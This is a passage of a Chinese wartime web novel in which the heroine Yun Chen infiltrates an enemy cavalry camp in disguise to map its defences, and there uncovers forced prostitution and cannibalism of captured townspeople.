一连追了半个月,大小战役七八场,黑鳞骑兵就跟着急回家吃饭似的,光急着跑,不好好打。
作为奔赴在最前线的追击部队,云琛开始觉得不对劲,对霍乾念道:
“我感觉焦左泰好像在带着我们兜圈子,一会儿东一会儿西的,像是故意。”
霍乾念也觉出异样,“你说,数次交战,从未见过焦左泰本人?”
云琛点头称是,霍乾念心里更疑,“不应该的。主将多在正中用兵筹备不错,但总不会一次面都不露,不合常理。”
云琛开始仔细复盘连月来的战况,突然有个想法:
“会不会,眼前根本不是黑鳞骑兵的主力部队,只是佯装牵制我们兵力?”
见霍乾念竟也有反应不过来的时候,云琛看了眼一旁的荣江和荣易两兄弟,打了个非常形象的比喻:
“会不会黑鳞骑兵其实有两支,就像两兄弟,我们现在遇到的只是假装厉害的弟弟,带着我们兜圈子牵制兵力,实际上哥哥已在偷偷计划别处开战?”
霍乾念顿时明白云琛的猜测,心里升起不详的预感:
“也许真正的黑鳞骑兵主力还在固英城外,等着伺机进犯。”
想到这里,霍乾念赶忙命大军整装进发,计划先抵达楠国中部再分股作战。
结果刚一到中部地区,就收到黑鳞骑兵真正主力攻破固英城,一路长驱直入,接连拿下数座重城,深入楠国东南腹地的消息——
烟城陷落。
楠国整个东南部失守,沦为敌军控制区。
......
......
初冬未雪。
当霍乾念和云琛率三十万狮威大军赶到烟城的时候,只见断壁残垣,满目疮痍。
黑鳞骑兵在得知狮威大军赶来后,连夜后退三百里,据守在烟城外地形更有力的山隘中。
而接连小胜、威风凛凛的狮威将士们,在看到横尸千里的情景时,再也没了一点渴望冲锋陷阵、建功立业的念头。
百年繁华的烟城,美丽富饶的东南明珠,在被黑鳞骑兵扫荡过后,只剩千疮百孔一座灰城。
有些将士是儿时离开烟城的,虽多年未回故乡,但记忆中的烟城那样平静安宁。
如今却到处是未燃尽的硝烟,百姓们和守城军的尸体,成山地堆在路边,无人收殓。
那不知姓名的守城主将的尸首,被悬吊在城门之上,竟无人有力气上前解下安葬。
霍帮的堂口被打砸抢烧一空,霍府也被拆得七零八落,值钱的东西全部被洗劫干净,只剩光秃秃的四壁,成了难民和伤员的临时居所。
等霍乾念等人一身戎装,踏进自家府门的时候,迎接他们的只有难民们的尖叫求饶和瑟瑟发抖,还以为是敌军又来进犯。
霍府幸存的仆从们一见霍乾念,直接两腿一软跪了下去,哭得泣不成声。
霍乾念回来了,带着三十万勇猛大军。
霍府有了主心骨,烟城仿佛也有了主心骨。
云琛带人急忙寻到霍府的后山密室,果然在里面发现了躲避战祸的霍阾玉,以及与守城军一起战敌,身负重伤的叶峮、花绝和不言。
兄弟几人数月未见,都各自经历上阵杀敌之苦,从九死一生的战场上幸存下来,一时间相顾无言,只有抱头痛哭。
花绝一边捧着自己肩膀上的枪伤,一边抱住一身铠甲的云琛,哭得上气不接下气:
“你小子......你小子当官了?帅......帅得很!”
云琛小心避开花绝的伤口,抹把眼泪,“立了几次小功,现在升上尉了。”
叶峮大腿上被黑鳞骑兵扎了个贯穿,一瘸一拐地走过来,拍拍云琛的肩膀,感叹道:
“咱几个还有命相见就是最好......”
不言哭够了,围着云琛开始不住打量,十分羡慕地摸摸云琛身上的铠甲:
“阿琛了不得,数月未见,借兵成功归来,已经有当将的样子了。好家伙,才几个月的时间就连升两级,当上尉了。等咱们从烟城打出去,咱们的小阿琛必然要升少校、中校、上校了!将来有一天,当将军也使得!”
云琛几人在一起聊得热络,倒把霍阾玉忘在一旁。
接连经历过固英城和烟城的战火,霍阾玉如今已成长得愈发稳重大气,隐隐有霍乾念处事不惊的风姿。
但是在看到云琛身边跟着的知罗的时候,霍阾玉脸色一变,仿佛浑身的刺都竖了起来。
等云琛回过头的时候,霍阾玉正和知罗大眼瞪小眼,互相暗暗打量。
虽一句难听话都没有说,但云琛已感觉到两个女人之间的争锋相对。
“霍二小姐好,下官知罗,是云上尉的军师。”
“知罗大人好,小女子霍阾玉,是云琛的老相好。”
正在帮忙扛花绝出密室的云琛,在听到“老相好”三个字的时候,差点腿一软跪下去。
老相好?这是一个豪门千金给自己找的形容词?
荣易和几个小兵也察觉出这密室里气氛不太好,赶忙扛着叶峮和不言一同出去。
第204章 请缨
三十万狮威大军驻守烟城。
城外三百里处,据守关口险隘的黑鳞骑兵,也终于暴露出真正的实力:
一共二十万兵力,全部是作风强悍、行动快速的黑鳞骑兵。
霍乾念率狮威主力军前往关口险隘攻敌,连月酣战不休。
狮威大军虽有三十万,在人数上占优势,完整齐全地配备车、步、骑、舟,以及长刀营、弓箭营、投掷营、铁桶火战车等。
但因昭国国土面积太小,不善用也实在无法训练出大量骑兵。
故而三十万大军中,仅有两万骑兵。
三十万勇猛将士苦无战马,难以攻破黑鳞骑兵的防线。
城外,霍乾念主战久矣,却久攻不下。
城内,云琛身负战后重建之责,负责粮草供应及烟城修复等事务。
她带着荣易和一干将士清点城中人数,埋葬百姓和守城将士们的尸首,救治伤员,集中安置失去家人的老弱妇孺,帮百姓重新修建屋宇,逐渐恢复起民生的样子。
可清点着清点着,云琛发现不太对劲。
烟城是富饶大城,约有十五万百姓在城中。
除去死伤殆尽的一万守城将士,另外还有近两万百姓失踪。
包括她从前相熟的街坊邻居,许多人下落不明。
生不见人,死不见尸。
云琛多方查证,那两万百姓竟是被黑鳞骑兵俘虏去了敌军营地。
两万百姓被俘,这是足以直达京都东宫的大事。
东宫有令,务必解救被俘百姓,绝不可弃两万子民生死不顾。
可怎么解救呢?
黑鳞骑兵二十万人马盘踞城外关口,没人知道两万烟城百姓被关在哪里。
主帅营帐里,众人为此事商讨,围着地图议论纷纷。
霍乾念坐在主位,眉头时而紧皱,时而平展,时而又自顾摇头,像是心里已想到什么,还未说出口,就被自己先否定。
叶峮、花绝和不言,都主张趁夜摸进黑鳞骑兵营地,先探清楚烟城百姓被俘虏关押的地方,然后再做打算。
荣江、荣易和知罗,则主张调兵遣将,战术性诱敌出营,而后奇袭营地,寻救烟城百姓。
叶峮对此不甚赞同,连连摇头,“找人是需要时间的,若一时半会找不到怎么办,万一敌方发现有诈,掉头杀回去,不直接给咱包饺子了?”
荣江和叶峮一样,是顾大局的妥当性子,只是荣江比叶峮身上多了些战场历练出来的杀伐果断,他道:
“两万人不会太难找,若真被发现,谁被谁包饺子还不一定,我们可以前后夹击攻之;就算直接找到烟城百姓,救人出来也得时间,左右也是要打一场的。”
做为军师,知罗虽无功夫在身,却有一肚子出谋划策,她全盘思虑许久,对霍乾念道:
“将军,知己知彼,百战不殆。无论是您连月苦战不破,还是营救被俘虏的烟城百姓,症结都在‘不知’。”
霍乾念点点头,没有说话,显然知罗所说正中核心,也是霍乾念已经想到过的。
荣易勾住荣江的脖子,兄弟俩并肩看着地图:
“对,问题就出在我们对黑鳞骑兵太不了解,连对方真正人马数量都是刚刚才知道的,其一干将领、装备、营地、粮草、武器等等的分布,我们皆一无所知。”
花绝忍不住想翻白眼,念在荣易有军职在身,他才忍着没翻,但语气已不太善:
“这不废话吗?我们不知道黑鳞骑兵,黑鳞骑兵也不知道我们呀!谁家打仗还能把对方家底摸透了?那都是何等绝密的信息?”
听花绝此言,知罗刚想说话,墨墨却不知从哪里跑过来,跳上她的肩膀,两只小爪子捧着一颗瓜子,津津有味地嗑起来。
讨论军务这样严肃的场合,哪来的瓜子?
知罗摸摸墨墨的头,顺着小爪子指的方向看去,云琛正坐在所有人后面嗑瓜子。
见墨墨“出卖”自己,云琛压低嗓子佯怒:
“小煤球,你出卖我?下次别想我分给你!”
墨墨呲牙咧嘴“吱吱”了两声,扬起毛茸茸的大尾巴,冲云琛示威。
知罗轻敲墨墨的小脑袋,轻声训斥:“不许撒泼。”而后歉意地朝云琛笑笑。
被墨墨这么一搅和,知罗差点忘了自己想说什么,她道:
“方才花护卫说得不错。一方营地分布、列兵驻防,都是绝密要命的信息。所以谁得到这个信息,谁的胜算就更大。”
仿佛已经知道知罗要说什么,霍乾念眼神陡然凌厉,抬手作了个“禁言”的手势,不许知罗再说下去。
知罗不解,但军中上下级分明,听命是天职,她安静闭口。
不言却非常没眼色地打开了话匣子:
“军师的意思是,需先筹谋得到黑鳞骑兵的营地防布图,有了这个,既可以制定针对性的战术,大举主力进攻,又可以得知烟城百姓关押所在。如此,便能战胜黑鳞骑兵?”
知罗没有应声,她瞧见霍乾念的脸色已经黑下来,她不想再次忤逆上级,给自己仕途添阻碍。
只是她不明白,为什么霍乾念明明一副早已想到这关键症结的样子,却不说,也不许她说。
这时,云琛从后面嗑完瓜子,站起身,拍拍裤子,探头挤进一大桌子七嘴八舌的讨论圈,敲敲地图,神态淡定道:
“我去盗防布图。”
霍乾念闭了闭眼,轻轻叹气。
知罗也终于明白霍乾念为何制止不许她说。
因为霍乾念早已想到这个办法,也早已料定云琛会主动请缨,他不愿云琛冒这样大的危险。
这下知罗知道自己说错了话,歉疚不安地看向云琛。
荣江荣易两兄弟从旁笑道:
“我俩也请缨,与云上尉同去!”
云琛却摇头,十分坚决道:
“不,我一个人去。”
这话一出,叶峮几人立刻炸锅了,不言直接跳起来,急道:
“我说错话了!都怪我胡说八道!好阿琛,咱不开玩笑,那可是二十万黑鳞骑兵的狼窝,怎么可能一个人去?那不跟黄豆掉进大海一样?风险太大了!不行不行!”
叶峮也强势命令:“不许你去!疯子才会独自潜入敌方营地,而且怎么潜?怎么偷?偷了怎么逃出来?固英城守城之战,焦左泰已认得你,你怎么接近?”
花绝皱眉,“要去也是我,轮不到你臭小子!”
知道几人都是关心自己,云琛笑笑,而后看向眉目忧重的霍乾念,正色道:
“主帅不能动。叶峮哥如今统管霍帮堂口事务不能动,不言哥也不能离开,叫咱们主将身边空无人护,荣江和荣易没有我熟悉烟城地界。所以只能是我去。单兵作战灵活易撤退,人多反而惹眼,不好潜进去。”
花绝生气,“那我呢?你把我放哪里去了?我去也行的!”
第205章 折断她的翅膀
面对花绝的质问,云琛笑得有点贱兮兮,走到他身边,熟练地长臂一伸,搭在他肩膀上,故意气他道:
“你?你级别太低了,不够格。”
花绝气得哇哇大叫,一把抓住云琛就要打。
叶峮赶忙拉架,不言却还在一边煽风点火:
“就你那臭脾气,进去没一刻钟就得露馅!要不你扮成花魁娘子再去?直接去见焦左泰!把他睡了!啊不,把他杀了!哈哈哈哈——”
“臭小子你再说一遍!”花绝目标转向不言,二人直接在帐子里打成一团。
叶峮偷瞄了下旁边看热闹的荣江和荣易两兄弟。
二人一身铠甲,遵纪守规地站在那里,看起来正经又威风。
再看这边跟小孩子打架一样瞎闹腾的花绝和不言。
叶峮顿时觉得丢人丢大发了,直接拎起花绝和不言的领子丢出帐篷,对着二人一顿臭骂。
看着这一幕,荣易则对荣江附耳笑道:
“我瞧霍将军就是脸冷,心不坏,否则底下的护卫不会这么义气又轻松自在。行,咱运气好,跟对人了。”
荣江没有接话,看了眼霍乾念黢黑的脸色,用眼神示意荣易安静。
霍乾念一直望着云琛,自从云琛请缨要去盗黑鳞骑兵的防布图后,他的眉头就再也没有舒展过。
好像有一层浓重的黑云压在他脸上,愁得散不开,重的拨不动。
可云琛却根本不看他,像是在刻意回避他的情绪。
他知道,云琛已下定决心,不会轻易改变。
从昭国出来,一连七八场大小战役,云琛已崭露头角,显现出领兵打仗的军事才能。
从前做护卫时便是无惧无畏,不顾生死。
如今做了个不大不小的将领,云琛更是气势横扫千军,人在前面纵马冲锋,魂忙着在后面追疯。
军中不少将士都见过她冲锋陷阵的凶猛,见识过她上战场如猛虎,下战场又瞬间变成家猫似的,一脸温和的阴柔俊气,目无心机,完全与人耿直为善的样子。
大家都在背后说:“云老虎”是好样的。
不少人甚至默默在心里更亲近云琛,而不是霍乾念这个位高权重的上将军。
霍乾念知道,如今的云琛就像一只羽翼渐丰的鹰,早已不再满足于一个小小的“霍帮亲卫”。
她想要振翅高飞,去这天高海阔看一看,浪里白条杀一遭。
她有她的功勋和梦想,与他霍乾念无关,与任何人无关。
他要做的,不应是以爱情的名义,折断她光辉灿烂的翅膀,以一己之私困她浑身本事,要求她变成躲在他羽翼下讨欢的金丝雀。
良久,霍乾念终于开口:
“琛儿留下,其他人退下。”
众人陆续离开。
待帐篷里安静下来的时候,霍乾念道:
“我去,你留下。”
她坚定摇头:
“不行。天底下哪有主帅轻动的道理。你若有个好歹,这仗还没打就败了。”
“那你也别去,我们另想法子。”
“傻瓜,这已经是最好的法子。”
良久的沉默后,他声音低落,却终是妥协:
“想好了,真要一个人去?”
“嗯,贴上易容面皮,乔装打扮混进去,比直接潜进去快——”她故意用最轻松的语气笑道:“你放心,这次我会好好贴上一整张易容面皮,绝对不贴一半。”
“傻瓜……”他苦笑一声,心中忧惧更重:“防布图机密要紧,必然在焦左泰身边,只怕难以得手。”
“没关系,两手准备,一边盗,一边我可以自己画。你知道的,我画画很好。”
帐篷里安静温暖,某些细碎美好的回忆涌上心头。
霍乾念拉着云琛围坐在火炉旁,牵着她的手烤火,舍不得放开。
这样暖的一双手,万一再也牵不到该怎么办……
这样不吉利的念头,被霍乾念在心里生生遏制住。
他一会告诉自己要相信云琛的本事,一会又生出千百种不详的预感,千丝万缕的愁念紧紧缠在他心头。
云琛倒没有一点担忧不安,反而踌躇满志的样子:
“等有了防布图,阿念,你用兵如神,定要将黑鳞骑兵杀个七零八落。然后我们一口气冲进东南沦陷区,一路杀敌,一路收复国土。”
霍乾念没有接话,只是一直深深垂着头,将脸埋在她双手。
感受到他拂在掌心的深重呼吸,云琛明白他的担忧,知道他此时此刻恐怕还在绞尽脑汁、试图想出一个不用她去冒险的法子。
“阿念,我一定要去,必须去。”她不再故作轻松,神情郑重起来,眼神晦暗并带着恨色:
“阿念,我不只想立功勋,我还想救人。你记得从前在烟城时,时常照顾我的老奶奶吗,还有卖豆腐脑的李婶,热汤面的张哥……以及妙妙……他们全都在失踪名单里。”
停顿片刻,她声音里带着强忍也忍不住的哽咽:
“狗哥一家……黑鳞骑兵打进城里的时候,所有人都忙着逃难,四个老人走得慢,他的小舅子也走不了路,都在房子倒塌时被埋了……你能想象,我眼睁睁看着荣易他们,从土堆里挖出狗哥父母的感觉吗……现在狗哥的孩子,小姨子,还有嫂子刘氏……不论生死,我都要把他们找回来!”
所以我必须要去,我一定要去。
最后这句话,云琛没有说出口,但霍乾念都懂。
以云琛的性子,就算那两万失踪被俘虏的百姓里,没有一个她的熟人,她也一定会去救,更何况里面还有她曾朝夕相处的街坊,那些年生出的近乎亲情的情谊。
再加上与荀戓在她心中的分量,她怎能眼睁睁看着兄弟的遗孀遗孤被俘,叫忠卫的后代枉死,荀戓在天之灵不得安息。
所以,一切既是野心,也是责任。
生死护主,卫道清明,是护卫。
保护百姓,捍卫国土,是军人。
军人有更多要保护的东西,和更多要守护的人。
他完全没办法拒绝她的理由,心乱如麻地紧紧攥着她的手,甚至都没有察觉太过用力,已将她的手攥得通红吃痛。
听见她轻轻“哎呦”一声,他回过神,赶紧松开力道,捧起她的手疼惜地吹吹,忍不住又叹一口气。
她明白他有多担心,若换成是他独自一人去探敌军营地,她只怕寝食难安,心如刀悬,一刻无法平静。
她靠向他肩头,安慰道:
“你就当和从前在霍帮时候一样,派我去办个差事而已!我很快就会回来。”
他用力抱住她,不停轻轻亲吻她的额头,半天才终于略略平复些许,将下巴抵在她额头,闷声道:
“国将不国,何以为家。东南部一州、九城、三十八郡、七十八县……都在等着我们攻破黑鳞骑兵险隘防线,冲进去救他们,琛儿,我信你一定能拿到防布图,我信你。”
最后这一句,远胜千百句担忧和关切,她心里生出许多勇气,甚至有些兴奋起来,开始与他细细商议计划。
如他认定的一般,她可不是空有一身武艺的“匹夫”。
她有着比任何人都敏锐的洞察力,头脑冷静清晰,擅于应变,制定的计划虽异想天开,不甚完善,却也很有成事的把握。
他一点点帮她将计划中所有漏洞补足,预设千百种可能横生枝节的情况,一一设定所有偷得防布图、偷不得、身份暴露、孤身逃脱、可能受伤、可能中毒、可能被困的种种后果。
有他指点,她顿觉心里更加坚稳,什么犹豫顾虑都没有了。
最后,他谆谆诚恳,反复告诫,再三对她说:
“最坏的情况不过被俘虏,你如今已是上尉,知晓军中一切机要,敌人不会放过这个机会。但万一焦左泰心狠手辣要……要动手……
琛儿,切记不可逞一时之勇,征途尚远,眼下还不是我们宁死不屈高风亮节的时候,务必先假意反抗,再委曲求全。不管谁抓到你,都告诉他,我霍乾念愿用全副身家换你性命!”
第206章 潜入敌营
一匹屠狼驹,一把饮血剑。
云琛孤身纵马,身影消失在茫茫白雪荒野。
为不走漏风声,云琛是趁天刚擦亮、所有人都还没有起床的时候,一个人悄悄走的。
只有守了一夜哨岗,起来放水的荣易碰巧看见。
瞧着那决绝又孤独的背影,再想到前方等待着她的可不是什么歌舞升平,而是二十万狠辣的黑鳞骑兵……
荣易打了个激灵,起了一身鸡皮疙瘩,忍不住感叹:
“浑身是胆,云老虎也。”
而后,荣易注意到一旁高高的塔楼上,霍乾念正站在那里。
他长身肃立,像一尊沉寂又冷郁的石像,久久望着云琛的背影,一动也不动。
……
……
话说云琛离开狮威军营地,绕行四百多里路程,赶了几天几夜的路后,又费了不少功夫,终于摸到黑鳞骑兵驻军营地,在其后方的一处矮坡停下。
她换上易容面具,从包袱里拿出一套破旧的衣裳换上,将头发弄得蓬乱些,脸上脏污些。
然后,她走到屠狼驹刚刚拉完的一大坨新鲜热乎的马粪前,沾起一些,抹在裤脚和鞋底上,直到浑身都臭烘烘的,她才满意地停下。
注意到屠狼驹颇为嫌弃的眼神,她使坏地用脏手去抱它,揪住它的鬃毛用力揉搓,佯怒:
“你叫‘霍云’,是霍乾念送给我的,我才是你主子,你态度好点!”
屠狼驹用鼻孔喷气,以示轻蔑。
对于烈马来说,他们不知道送不送的,只知道谁驯服自己,谁就是主子。
屠狼驹从来只认霍乾念,云琛对它来说,不过是除了霍乾念之外,最亲近又凶巴巴的两脚兽而已。
但屠狼驹很好奇,它不明白这个两脚兽为什么突然对它的屎那么感兴趣。
云琛道:
“不然呢?都以为我单枪匹马直接冲进黑鳞骑兵的军营?帅是帅的,死也是快的!我铁定要想法子混进去啊!”
乔装打扮妥当后,她将屠狼驹的绳套解开,和饮血剑一起藏在草丛中。
她拍拍马背,示意屠狼驹自己去玩耍,而后翻过矮坡,谨慎躲开巡防的黑鳞骑兵。
一路走走停停,极力掩盖行踪。趁着风声在草丛里行走,趁着夜色在树林里赶路。
就这么走了一天一夜,她终于清楚地望见一排排青灰色的帐篷,密密麻麻延伸向远方,看不见尽头,宛如无数坟包静立在大地上,时不时有黑鳞骑兵从里面冒出来,好似穿着黑色铠甲的恶鬼幽灵。
她爬到树上仔细观察——
眼前离她最近的,应该是最靠外围的巡防营,肩负大军的守卫、警戒责任,粗略估计有两万之众,呈纵弧分布,从中穿行过去,至少得半日。
她需要再往里走,逐一摸清粮草、武器、各个大营的分布,最后摸到中央焦左泰的主帅大帐里,寻找防布图。
云琛调整心绪,心里默默预习了一遍将要发生的事情,然后跳下树,佝偻着身子,暗暗摸到营地的栅栏边。
记住本站: 她深吸一口气,而后站直身体,大摇大摆地跨过栅栏,走进了黑鳞骑兵的营地。
她一边调整裤腰带,一边走得大大咧咧,完全一副刚从草丛里拉完大号的惬意姿态。
两个黑鳞骑兵注意到她,目光投过来,盯了她好一阵。
她目不斜视地往里走,心里其实已紧张得响如战鼓。
好在那两个黑鳞骑兵并没有发觉什么异常,很快扭过头,不再理会她。
她快速四顾,随手提起个大木桶,撒把黄土进去,然后继续往营地深入。
营地里到处都是正训练、整理装备、刷马和三两闲聊的黑鳞骑兵,大部分人都对她视若无睹。
也有些人注意到脸生的她,想问一句,却一靠近就闻到她一身骚臭,便也作罢。
计划初步成功!她心里有点雀跃。
要不说,人就怕嘚瑟。
她刚为成功混进敌方军营庆幸,就听身后一个大嗓门喊道:
“哎你哪儿来的?叫什么名字?”
那嗓门特别大,一下吸引了许多人的注意。
周围的黑鳞骑兵都看过来,云琛只能咬着牙,停下脚,快速换上一副讨好的笑容,转身迎去。
一个穿着杂役服的男人走过来,上下打量云琛一番,不悦嚷嚷道:
“你哪来的?叫什么名字?我怎么没见过你?”
云琛佝偻着身子,一脸小心翼翼的笑容,指指嗓子,“啊巴”两声,表示自己是个哑巴。
这下那杂役更怀疑了:“我在军中干活这么多年,咋不知道我们有个哑巴?你不会是奸细吧?奸细最爱装哑巴!”
“奸细”两个字立马引得周围人都竖起耳朵,纷纷将目光投向云琛。
云琛作出一脸委屈伤心,指指烟城的方向,掐着自己脖子,做了个翻白眼吐舌头的滑稽姿势,又指指营地深处,不停地“啊巴”。
那杂役还真听懂了,“你是烟城俘虏来的?从中军大营过来的?”
云琛忙不迭点头,一脸谨小慎微。
杂役一脚踢在云琛屁股上,指指旁边一个小推车,骂道:
“那特娘的磨叽什么?赶紧去收恭桶啊!别特么偷懒!”
云琛点头哈腰,立马推起小车就跑。
刚跑出去两步,那杂役又道:
“先去把你登记名册拿过来!我要记档!妈的,这些狗日的调动人总不提前说!”
见此,四周的黑鳞骑兵们不再生疑注目,云琛麻利地走去帐篷后面,将一个个臭气熏天的恭桶倒干净,洗刷好,放上清水。
她一边刷恭桶,一边琢磨着从哪里搞一份登记名册。
无论黑鳞骑兵还是狮威军,想要光明正大地进去,还不被发现,几乎难如登天。
记住本站: 因为军中最普通最常见的一项便是:
点名。
每个营地,每个大小班次,大到主帅将军营帐,小到杂役里收恭桶的,只要非战时状态,每日都要各自点名。
在军中,少个人不稀罕,打仗总要死人,每一次从战场下来,都得将一大摞名册封存。
但多一个人可就稀罕了。
动动脚趾头都知道那必定是奸细。
云琛急切地需要一份登记名册。
借着收恭桶的活,她推着臭气熏天的小推车在营地间穿梭,仿佛在所有黑鳞骑兵眼中隐身了似的。
没人注意到这个浑身脏兮兮的小杂役。
只觉得这小杂役也太勤快了些,别看瘦瘦的,身上却像有使不完的牛劲,吭哧吭哧地搬运着盛满屎尿的沉重恭桶,被溅到身上也不在意。
就这样忙了整整一天,鼻子被熏得发苦,眼睛也被辣得眼泪直流,云琛累得腰酸背痛,才刚刚搬出巡防大营的营地。
她从几个黑鳞骑兵的谈话中偷偷旁听到,二十万黑鳞骑兵,至少一百多个营地,主力的中军大营在整个营地的最中间。
估摸得在黑鳞骑兵的营地干成拥有三年工龄的熟练工,她才能刷到中军大营的恭桶。
她心里有点急。
好在普通士兵们没有资格用恭桶,都是去挖好的厕所方便,只有军官级以上才用得到恭桶。
咬咬牙,云琛推着车,向更深处的营地进发。
借着夜色掩护,她刷恭桶时“偷奸耍滑”,随意糊弄完事,速度快了许多。
一连经过十几个营地,她心里开始奇怪。
已经见到存放粮草的营地,有土豆白菜,有干饼子和大米,却没有看见任何牲畜。
按理说,二十万大军驻扎之处,要想吃肉,后方一定会供给一大批活牛羊牲畜,供炊事宰杀。
但黑鳞骑兵的营地竟没有一头牛羊。
可她明明在晚饭时看见,那聚在一起吃饭的黑鳞骑兵们,每个人的碗里都是有肉块的。
她摁下心里疑惑,继续往中军大营方向走。
路过一个营地的时候,她慢慢停下脚步。
这是一个与所有冷马黑铁、守卫森严的营地截然不同的地方。
一排排灰色的帐子前,立着各式各样彩色的纱幡。
只是听着那无数女人压抑痛苦的声音,云琛便知道这里是什么地方。
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第207章 失踪的人
听着那无数女人压抑痛苦的声音,云琛立马知道这里是什么地方。
**营。
热血方刚正当年的男人们出来打仗,军中生活枯燥单调,战场厮杀后归于平静的落差感太强,都让男人们性致喷薄。
人的天性无法压抑,狮威军也有女人,许多都是跟着丈夫从昭国一起陪伴而来的妻子,日常还在军中劳作。
更多的是合法在册的营妓,有本就从事烟花行当的女子,有被发配的罪臣家眷……
霍乾念是这个荒诞又疯狂的世道里,少数尊重女性并愿意花极其高昂的军费改善营妓待遇的将领。
狮威军的营妓,每日接待士兵三个时辰,一月七日休沐,月钱三两,比许多普通士兵的月饷还高。
士兵不许苛待强迫营妓,每次还需额外付银子才可以行周公之事。
饶是如此,身为女性,云琛仍不愿与霍乾念多聊关于营妓这么沉重、毫无尊严可言的话题。
每次处理关于狮威军营妓的事务时,霍乾念都会挑云琛和知罗不在的时候。
可黑鳞骑兵显然并没有把“**”当作人。
已是深夜,但**营的每个帐篷门口,仍排着长长的队伍。
帐帘起起落落,一闪而过的,都是女人们麻木的脸,许多帐篷甚至还有女人的惨叫声传出来。
一个正在排队的黑鳞骑兵对身旁人笑道:
“我上次杀了二十五个楠国兵,累积杀了八十多个,终于凑够数,可以爽一发了!”
身旁人道:“你就偷着乐吧,好多杀不够人头数的,几个月都没开荤了。”
不止不把**们当人,更当作激励杀敌的奖赏。
云琛从心底里泛出强烈的不适,搬运了整整一天的恭桶,似乎都不如眼前的情景令人作呕。
她努力平息情绪,穿过**营,继续往前走,却见一个队伍排得最长的帐篷前面,人群发出一阵抱怨声。
一个穿军官模样的男**声命令排队的士兵们离开,动作粗鲁地掀开帐帘。
一个士兵随即慌里慌张提着裤子走出帐篷,不满地抱怨了两句,立刻挨了一嘴巴子。
军官模样的男人骂道:“赶紧滚,将军还等着呢!”而后又换了副比较客气的命令语气,对帐篷里的人道:
“收拾收拾吧,将军心情不好,等着呢!”
云琛装作什么也没看见,自顾推车走路,却被那军官眼尖的发现不太对:
“你站住?怎么没有穿杂役服?”
云琛赶紧比画自己是个哑巴,那军官更疑,正要命人抓云琛去查验,却有一道倩影走出帐篷,惊讶道:
“呀!这不是老刘家的哑巴小子,刘二狗吗?运气不错嘛,干上杂役了?”
那军官上下打量云琛:“是你们烟城的老乡?那自然是没有杂役服的,不用查了,滚吧!”
云琛做出万分惶恐的样子,连连点头哈腰,离开之际,她扭头看去——
丹蔻正随着那军官走远,也回头看了过来。
只这一眼对视,云琛顿时浑身一颤,心如刀绞。
丹蔻眼中带泪,眼神既惊喜,又哀求,有日夜不停被折磨的疲惫,也有深不见底的绝望恐惧。
那个会倚着云琛大笑,笑声像银铃一样的美丽的姑娘,已似昨日黄花,只剩容颜枯败,战栗如受惊的鸟儿。
再去看这一个个灰色的帐篷,一座座困着烟城上千良家女子的魔窟,云琛暗暗攥紧拳头,几乎要将牙齿咬碎。
……
……
深夜。
**营迎来一天之中唯一不接客的两个时辰。
丹蔻从焦左泰处回来,走进安静凌乱的帐篷,吹熄蜡烛,试探着轻声叫道:
“云护卫……你在吗?”
帐外等待许久的云琛,闻声立刻从小窗翻进来,站定在丹蔻面前。
望着黑暗中熟悉的身影轮廓,丹蔻愣了片刻,鼻头一酸,落下泪来。
云琛上前两步,沉默地扶住丹蔻的肩膀。
“云护卫……他们抓了好多老百姓……好多好多……女人们都被抓来当**……那些反抗不肯接客的女人,全都失踪了……我没骨气,云护卫……我对着杀了我们烟城百姓的畜生们笑,迎合讨好他们……”
云琛用已脏污不堪的袖子替丹蔻擦去眼泪,“别说傻话,要不是你,我今日恐怕要糟。丹蔻姑娘,好姑娘,把你知道的一切告诉我,我要画一份黑鳞骑兵的营地防布图,我会带着狮威军来杀这些畜生!相信我!”
丹蔻重重
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点头,擦干眼泪,强打起精神,开始将她所知道的一切挨个告诉云琛。
云琛对着微弱的月光,一边将自己这几日所见画下,一边按丹蔻所说,补足剩余部分。
虽然只是整个营地的三分之一都不到,但已经非常宝贵。
至少丹蔻见过的地方,云琛不必费功夫再去。
“丹蔻姑娘,你怎么认出我的?”**是霍乾念花重金买来的,极薄极贴合皮肤。云琛自认为易容得天衣无缝,却没想到一眼就被丹蔻认出来。
丹蔻望着眼前眉毛稀疏、满脸雀斑的脸,指向云琛的眼睛。
“你的眼神骗不了人。”
云琛自然不知道自己是什么眼神,丹蔻却神色认真道:
“云护卫,你不会骗人,不会撒谎,你的眼睛太干净,什么情绪都写在里面,但凡先前见过你的人,只怕都难以忘记,一眼就能认出来。你此番若要成大事,必得小心伪装才好。”
云琛点头,下意识摸摸自己的眼睛,将丹蔻的嘱咐记在心里。
幸亏丹蔻提醒,否则云琛很可能刚与焦左泰碰面,便被认出来。
云琛问:“焦左泰的帐子戒备怎么样?他每次都……指名要你去吗?”
丹蔻答:“我去过七八次,我瞧着他帐子特别大,但周围只有两个人守着,似乎他很烦太多人在眼前。”
云琛觉得有希望能去偷一下最精准详细的防布图。如果实在偷不到,那她就自己画一份,也一定可以用得上。
云琛接着又细问了些事情,丹蔻似乎累极了,叙述有些乱,很多话都非常散,但云琛却敏感地从中抓取到一个很重要的信息。
“丹蔻姑娘,你说,抓来的烟城老百姓,总有人失踪?”
“我不太确定,是感觉。反抗的女人们都不见了,收恭桶、干杂役、做苦力的人也总是在换。”丹蔻说着,从桌子上拿起一碗有些凉透的汤,叹气道:
“云护卫,别介意,我饿得太厉害了,每日连吃饭和喘口气的时间都没有,容我吃点东西。”
丹蔻端起碗,大口地喝汤,有些贪急地吃着碗里仅有的一块肉。
云琛瞪大眼睛,盯着那碗里发白的肉块和惨白的骨头,却只感觉到一种前所未有的恐惧。
第208章 烧火棍
杀一个人,有饼子吃。
杀五个人,有菜吃。
杀二十个人,可以换一块肉。
杀八十个人,能在温柔乡里享受半个时辰。
在这样明明白白标着“等价交换”的地方。
每一个黑鳞骑兵的眼里都只有一件事:
疯狂地去杀楠国兵。
攻城略地,便有“军粮”。
在黑鳞骑兵的眼里,楠国兵不是人,是晚餐,是欲望。
这样近乎变态的激励之法,是黑鳞骑兵战斗力极其强悍又凶残的秘诀。
丹蔻将登记名册给了云琛,说她在**营里最得黑鳞骑兵们喜欢,点名的时候应该可以糊弄过去。
云琛拿上名册,用屎尿模糊掉丹蔻的名字,继续装作哑巴,成功混过所有巡查。
她应当继续深入摸寻营地防布的。
好不容易有了名册,应当全力去完成盗防布图的大事。
可当她站在一处伙房门口,震惊地看着满墙吊挂的残肢断臂时,只感到遍体生寒,浑身的血都凉了。
一股无边的愤怒不停冲击心脏。
地面,墙面,到处都是斑斑血迹,大团的衣服和头发堆在炉膛里当柴火烧。
热气腾腾的锅子翻滚着,冒着令人作呕的肉香。
